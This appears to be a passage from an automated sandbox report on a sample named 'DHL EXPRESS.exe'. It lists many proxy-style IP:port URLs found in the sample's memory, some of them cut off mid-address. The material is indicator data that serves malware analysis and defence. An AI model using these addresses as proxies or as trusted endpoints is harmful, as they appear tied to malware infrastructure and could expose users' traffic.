Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.152.40.15:5050
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.152.40.15:5050://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.161.96.132
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.161.96.132://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.161.96.132:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.164.240.84:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.164.240.84:8081://proxyp
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.225.72.122:3500
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.225.72.122:3500://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.225.72.125:3503
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.225.72.125:3503://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.198
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.198://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.198:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.227.38.230:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.123.243:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.123.243:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.214.8:9054
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.214.8:9054://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.95.209.142:15673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.95.209.142:15673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB53C000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB4FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.106.221.230:53281
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.106.221.230:53281://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.176.53.183:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.176.53.183:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.12:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.12:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.4:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://24.249.199.4:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.0.234.206:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.0.234.206:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.123.1.34:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.123.1.34:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.130.253.68:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.130.253.68:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.139.154:8090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.139.154:8090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.24.205:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.147.24.205:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.254.123.203:8443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.254.123.203:8443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.54.71.23
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.54.71.231:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.54.71.231:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.70.163.7
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.70.163.74:5314
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.70.163.74:5314://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.70.163.94:5301
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.70.163.94:5301://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.71.248.123:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://27.71.248.123:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.10.93
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.10.93.50:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.10.93.50:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.108.115.48:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.108.115.48:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD77C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.108.115.48:1080C
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.127.62.252
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.127.62.252://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.127.62.252:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.128.142.113
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.128.142.113://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.128.142.113:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.143.37.255
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.143.37.255://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.143.37.255:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.21.101.158:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.21.101.158:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.212.148.199:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.212.148.199:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.178.81
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.178.81://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.178.81:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.58.156:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.24.58.156:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.25.234.175:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.25.234.175:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.73.120.104:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADAE1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADA26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.90.100.12:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://3.90.100.12:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.134.151.40
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.134.151.40://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.134.151.40:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.146.5.178:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.146.5.178:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.148.207.153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.148.207.153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.148.207.153:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD9AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.148.7.130:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.148.7.130:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.169.79.37:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.169.79.37:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.170.53.140
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.170.53.140://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA916000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.170.53.140:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC562000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.200.242.201:12196
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC543000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.200.242.201:12196://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.204.28.96:5432
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.204.28.96:5432://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.207.38.66
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.207.38.66://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.207.38.66:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.211.130.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.211.130.237:8192
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.211.130.237:8192://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.24.44.92
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.24.44.92:50109
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.24.44.92:50109://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.24.44.92:50687
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.24.44.92:50687://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.24.44.92:52173
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.24.44.92:52173://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.42.57.129:3699
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.42.57.129:3699://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.158.108:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.158.108:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.179.160
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.179.160://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.179.160:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.179.214
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.179.214://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.179.214:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.6
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.63.70:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.43.63.70:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.44.82.2:38080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://31.44.82.2:38080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://32.223.6.94
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://32.223.6.94://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://32.223.6.94:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.135.203.172:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.135.203.172:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.154.161.152
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.154.161.152://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.154.161.152:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.23.45.223
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.23.45.223://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.23.45.223:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.29.41.58:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.29.41.58:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.30.26.177:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.30.26.177:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.75.202.63
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.75.202.63://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.75.202.63:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADD8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.81.72.31
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADC63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.81.72.31://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADC0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.81.72.31:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.83.143.6:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.83.143.6:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.84.95.189:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.84.95.189:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.85.177.170:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.85.177.170:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.87.103.220
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.87.103.220://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.87.103.220:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.92.12.210:9238
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.92.12.210:9238://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.93.157.87:21802
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://34.93.157.87:21802://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.154.71.72:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.154.71.72:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.185.196.38:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.185.196.38:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.196.18.239
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.196.18.239://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.196.18.239:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.199.90.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://35.199.90.225:8888
